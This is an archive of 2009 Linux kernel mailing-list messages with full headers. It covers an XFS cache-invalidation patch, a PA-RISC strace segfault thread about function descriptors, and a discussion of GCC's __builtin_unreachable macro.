James

---

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 62ae977..320a6e4 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -1132,15 +1132,25 @@ xfs_buf_bio_end_io(
 	xfs_buf_t		*bp = (xfs_buf_t *)bio->bi_private;
 	unsigned int		blocksize = bp->b_target->bt_bsize;
 	struct bio_vec		*bvec = bio->bi_io_vec + bio->bi_vcnt - 1;
+	void			*vaddr = NULL;
+	int			i;
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (is_vmalloc_addr(bp->b_addr))
+		for (i = 0; i < bp->b_page_count; i++)
+			if (bvec->bv_page == bp->b_pages[i]) {
+				vaddr = bp->b_addr + i*PAGE_SIZE;
+				break;
+			}
+
 	do {
 		struct page	*page = bvec->bv_page;
 
-		if (is_vmalloc_addr(bp->b_addr))
-			invalidate_kernel_dcache_addr(bp->b_addr +
-						      bvec->bv_offset);
+		if (is_vmalloc_addr(bp->b_addr)) {
+			invalidate_kernel_dcache_addr(vaddr);
+			vaddr -= PAGE_SIZE;
+		}
 
 		ASSERT(!PagePrivate(page));
 		if (unlikely(bp->b_error)) {


--
To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Fri, 11 Sep 2009 18:57:31 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca>
References: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252709863 26023 80.91.229.12 (11 Sep 2009 22:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Sep 2009 22:57:43 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 12 00:57:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MmF3f-0000r3-4V
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Sep 2009 00:57:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753713AbZIKW5b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Sep 2009 18:57:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755685AbZIKW5a
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 11 Sep 2009 18:57:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1074 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753713AbZIKW5a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Sep 2009 18:57:30 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DF5604E0B; Fri, 11 Sep 2009 18:57:32 -0400 (EDT)
In-Reply-To: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com> from "Carlos O'Donell" at Sep 10, 2009 12:03:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2161>

> No, it's not neccessary. This way I simply have to audit the incorrect
> comparisons of a inferior's function pointer to a constant. If I were
> to disable canonicalization I'd have to audit the entire compilation
> unit to prove I haven't broken any valid function pointer comparisons.

I'm thinking we have OPD support with recent binutils, so the
above shouldn't be necessary.  Wasn't that something you added?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable() 
	to compiler.h
Date: Sat, 12 Sep 2009 09:22:43 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <10f740e80909120022m72ad5ea7t692fba93cd3114e9@mail.gmail.com>
References: <4AA991C1.1050800@caviumnetworks.com>
	 <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
	 <200909111633.00665.mb@bu3sch.de>
	 <4AAA73A4.9010601@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1252740182 14858 80.91.229.12 (12 Sep 2009 07:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 12 Sep 2009 07:23:02 +0000 (UTC)
Cc: Michael Buesch <mb@bu3sch.de>, linuxppc-dev@lists.ozlabs.org,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	linux-mips@linux-mips.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-s390@vger.kernel.org,
	linux-am33-list@redhat.com, Helge Deller <deller@gmx.de>,
	x86@kernel.org, Ingo Molnar <mingo@redhat.com>,
	Mike Frysinger <vapier@gentoo.org>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	uclinux-dist-devel@blackfin.uclinux.org,
	Thomas Gleixner <tglx@linutronix.de>,
	Richard Henderson <rth@twiddle.net>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	ralf@linux-mips.org, Kyle McMartin <kyle@mcmartin.ca>,
	linux-alpha@vger.kernel.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	linux390@de.ibm.com,
	Koichi Y
To: David Daney <ddaney@caviumnetworks.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Sep 12 09:22:51 2009
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MmMwc-0006Nk-PZ
	for lnx-linux-alpha@lo.gmane.org; Sat, 12 Sep 2009 09:22:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754124AbZILHWm convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 12 Sep 2009 03:22:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754097AbZILHWm
	(ORCPT <rfc822;linux-alpha-outgoing>);
	Sat, 12 Sep 2009 03:22:42 -0400
Original-Received: from mail-pz0-f190.google.com ([209.85.222.190]:35264 "EHLO
	mail-pz0-f190.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750824AbZILHWl convert rfc822-to-8bit (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 12 Sep 2009 03:22:41 -0400
Original-Received: by pzk28 with SMTP id 28so1407180pzk.20
        for <multiple recipients>; Sat, 12 Sep 2009 00:22:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=BYfes+zK7C0QrRX59HJns71yQgIMusYiQ4nZojFPVWg=;
        b=g9H6mtBPKhSe8IGifgFQIv0y/Oz3EmQGlipzps5XlaYuzvB56dQUwlwRoOgdHafwZ9
         smKuFnW2qEhF1GO2cKZKc1lww1fpGS3IEXGBijJZ4mbF0aAMy3DHCk5D8cXS3z2+Gzjs
         3E7iXoFsOZELr/ODjzQ9v+3vjYI2oajEjTPow=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=kVElTN3oryoBOHPcgT/LgC+poKPhTuTX7tc3M01PI9YoXDjRPcBjx2R4hfxlPCt51J
         B/0hUVUG47xe05glhIW4g2MTlj3KPXDP5H3kVREmjA61kOZ/T7cNY9z5PWfYNpJzMeyT
         JtnlJYzhsypIcFsReHLr34R1zBTyl1EhFLmFw=
Original-Received: by 10.142.74.4 with SMTP id w4mr330649wfa.195.1252740163196; Sat, 12 
	Sep 2009 00:22:43 -0700 (PDT)
In-Reply-To: <4AAA73A4.9010601@caviumnetworks.com>
X-Google-Sender-Auth: 42a0362e6b437612
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:603 gmane.linux.ports.ppc64.devel:59918 gmane.linux.ports.mips.general:25061 gmane.linux.hardware.blackfin.kernel.devel:2488 gmane.linux.ports.parisc:2162 gmane.linux.kernel:888603
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2162>

On Fri, Sep 11, 2009 at 17:58, David Daney<ddaney@caviumnetworks.com> w=
rote:
> Michael Buesch wrote:
>>
>> On Friday 11 September 2009 01:56:42 David Daney wrote:
>>>
>>> +/* Unreachable code */
>>> +#ifndef unreachable
>>> +# define unreachable() do { for (;;) ; } while (0)
>>> +#endif
>>
>> # define unreachable() do { } while (1)
>>
>> ? :)
>
> Clearly I was not thinking clearly when I wrote that part. =C2=A0RTH =
noted the
> same thing. =C2=A0I will fix it.

However, people are so used to seeing the `do { } while (0)' idiom,
that they might miss
there's a `1' here, not a `0'.

So perhaps it's better to use plain `for (;;)' for infinite loops?

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
							    -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" =
in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 13 Sep 2009 16:56:20 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <119aab440909131356n70ab22b5ge428c3e68c79dfa6@mail.gmail.com>
References: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com>
	 <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1252875390 23706 80.91.229.12 (13 Sep 2009 20:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Sep 2009 20:56:30 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 22:56:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mmw7T-0001e5-DJ
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Sep 2009 22:56:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751592AbZIMU4S convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Sep 2009 16:56:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755024AbZIMU4S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 13 Sep 2009 16:56:18 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:62894 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751592AbZIMU4S convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Sep 2009 16:56:18 -0400
Original-Received: by bwz19 with SMTP id 19so1725647bwz.37
        for <linux-parisc@vger.kernel.org>; Sun, 13 Sep 2009 13:56:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=LgUCb3/XDyPz7Zau/O3hKkEjN52eF4DpDRZCjlT9IHg=;
        b=NNbZu6E7f/UddJrZJSye4urMU1szkBYQtb9NeCoSM5Wq2eMRAMwabgKkvC2Nl/Pkws
         mCGVxwK1KKmPU14YXtwYhFaJlaHg29eVmCWpj7RGFRkCqT6vic0/iGxlxrrEfNSpWbu1
         31ou1v+QWTOtUzXZjOBFVi1S6Xw3FBzbfvUl4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ESggSQaW+gbx+gBjvLerIPHfczGk0qNc452YkGszzSjyYw9nDjX9y00MMToyBRg0YJ
         Z51S2JSvV9CnlcHbgjWRkXD6TLr3G8fVSFyLQtxCTzczuuv0ufYaiJjwfPbcF1HB1uiN
         HH/spoPg2DWlrA/OjvYj0TEDYaY0VKarfhpv8=
Original-Received: by 10.204.0.69 with SMTP id 5mr4443774bka.173.1252875380520; Sun, 13 
	Sep 2009 13:56:20 -0700 (PDT)
In-Reply-To: <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 8e4efe20f0fc3be2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2163
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2163>

On Fri, Sep 11, 2009 at 6:57 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> No, it's not neccessary. This way I simply have to audit the incorre=
ct
>> comparisons of a inferior's function pointer to a constant. If I wer=
e
>> to disable canonicalization I'd have to audit the entire compilation
>> unit to prove I haven't broken any valid function pointer comparison=
s.
>
> I'm thinking we have OPD support with recent binutils, so the
> above shouldn't be necessary. =A0Wasn't that something you added?

I did the work, yes, I rewrote the PLABEL support to include adding
OPD's in the executable (instead of pointing the local PLABEL relocs
at the relevant PLT entry). However, with the start of my Masters I
didn't have time to clean it up, and check it into binutils. This is
*certainly* on my list, we need some work in binutils, but *right now*
I'm working on resurrecting strace which seems to be completely
broken. Fixing the function descriptor problem is only the first step,
after that strace still fails with an invalid upeek generated from
hppa-specific code. I'm working on it right now (today actually).

AFAICT "strace" *is* our "defense against the dark arts" if you catch
my harry potter reference :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 13 Sep 2009 17:00:16 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090913210016.GB19494@bombadil.infradead.org>
References: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com> <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca> <119aab440909131356n70ab22b5ge428c3e68c79dfa6@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252875642 24466 80.91.229.12 (13 Sep 2009 21:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Sep 2009 21:00:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 23:00:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MmwBK-0002iz-QW
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Sep 2009 23:00:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751871AbZIMVAS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Sep 2009 17:00:18 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752286AbZIMVAS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 13 Sep 2009 17:00:18 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50740 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751871AbZIMVAR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Sep 2009 17:00:17 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MmwBE-0002tV-AC; Sun, 13 Sep 2009 21:00:16 +0000
Content-Disposition: inline
In-Reply-To: <119aab440909131356n70ab22b5ge428c3e68c79dfa6@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2164
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2164>

On Sun, Sep 13, 2009 at 04:56:20PM -0400, Carlos O'Donell wrote:
> after that strace still fails with an invalid upeek generated from
> hppa-specific code. I'm working on it right now (today actually).
> 
> AFAICT "strace" *is* our "defense against the dark arts" if you catch
> my harry potter reference :-)
> 

http://shortfin.cabal.ca/~kyle/strace-fix-hppa-syscalls.diff
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 13 Sep 2009 17:32:41 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440909131432i7f818ef5g35629bcea2eecda5@mail.gmail.com>
References: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com>
	 <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca>
	 <119aab440909131356n70ab22b5ge428c3e68c79dfa6@mail.gmail.com>
	 <20090913210016.GB19494@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252877577 29279 80.91.229.12 (13 Sep 2009 21:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Sep 2009 21:32:57 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 23:32:46 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mmwgf-0001pg-R2
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Sep 2009 23:32:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755170AbZIMVcl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Sep 2009 17:32:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755173AbZIMVcl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 13 Sep 2009 17:32:41 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:35427 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755170AbZIMVck (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Sep 2009 17:32:40 -0400
Original-Received: by bwz19 with SMTP id 19so1736833bwz.37
        for <linux-parisc@vger.kernel.org>; Sun, 13 Sep 2009 14:32:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=N7KfdX+p8G79EeeEOrHYbGdt9iJvZX+DB7V9pfu9Uug=;
        b=pxrkaHNAR9xgunexIug8UTuMnbLGC+QiCiDBL8u2VxDE4H5orLmocs/ZCxWPEtLAwT
         pQq5OMd9ELGoGXji3WisagaXIi6rzzDWQf95rE5CrjidLkLoNdSVatUl7L04004KnWL2
         5PwE87NaFJ8GHihUw0OKsR3IQ+eR845TXzi6g=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=lC/rz9E8pqMHNopVm5a+2+zpScDuO9fQSRLQIdcGBJ6agI6u2yiO+NC8GthxWgdQjg
         u1vCdrIt+Zmy+ABuE7x840s0S79M199t3e4LsIuuNKy6YqbiF9hpfljHiu1iAwRy9tFC
         7KufMfAFptZDzNA/XaU32yqQ5H3h8BM+W2Pqc=
Original-Received: by 10.204.154.135 with SMTP id o7mr4455992bkw.201.1252877561777; 
	Sun, 13 Sep 2009 14:32:41 -0700 (PDT)
In-Reply-To: <20090913210016.GB19494@bombadil.infradead.org>
X-Google-Sender-Auth: 3bab7f1584068c8f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2165>

On Sun, Sep 13, 2009 at 5:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, Sep 13, 2009 at 04:56:20PM -0400, Carlos O'Donell wrote:
>> after that strace still fails with an invalid upeek generated from
>> hppa-specific code. I'm working on it right now (today actually).
>>
>> AFAICT "strace" *is* our "defense against the dark arts" if you catch
>> my harry potter reference :-)
>>
>
> http://shortfin.cabal.ca/~kyle/strace-fix-hppa-syscalls.diff

Thanks, that solves my problem.

Is it OK if I submit your patch to debian and upstream *again* and
keep doing so until they apply the patches? >:)

I see this ancient bug entry, which I'll update, and bug Roland...

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=437928

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 13 Sep 2009 17:37:05 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090913213705.GC19494@bombadil.infradead.org>
References: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com> <20090911225732.DF5604E0B@hiauly1.hia.nrc.ca> <119aab440909131356n70ab22b5ge428c3e68c79dfa6@mail.gmail.com> <20090913210016.GB19494@bombadil.infradead.org> <119aab440909131432i7f818ef5g35629bcea2eecda5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252877841 29986 80.91.229.12 (13 Sep 2009 21:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Sep 2009 21:37:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 13 23:37:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mmwkx-00035I-H9
	for glpp-linux-parisc@lo.gmane.org; Sun, 13 Sep 2009 23:37:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754953AbZIMVhG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Sep 2009 17:37:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755177AbZIMVhG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 13 Sep 2009 17:37:06 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36520 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754953AbZIMVhE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Sep 2009 17:37:04 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Mmwkr-00012c-3D; Sun, 13 Sep 2009 21:37:05 +0000
Content-Disposition: inline
In-Reply-To: <119aab440909131432i7f818ef5g35629bcea2eecda5@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2166
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2166>

On Sun, Sep 13, 2009 at 05:32:41PM -0400, Carlos O'Donell wrote:
> On Sun, Sep 13, 2009 at 5:00 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > On Sun, Sep 13, 2009 at 04:56:20PM -0400, Carlos O'Donell wrote:
> >> after that strace still fails with an invalid upeek generated from
> >> hppa-specific code. I'm working on it right now (today actually).
> >>
> >> AFAICT "strace" *is* our "defense against the dark arts" if you catch
> >> my harry potter reference :-)
> >>
> >
> > http://shortfin.cabal.ca/~kyle/strace-fix-hppa-syscalls.diff
> 
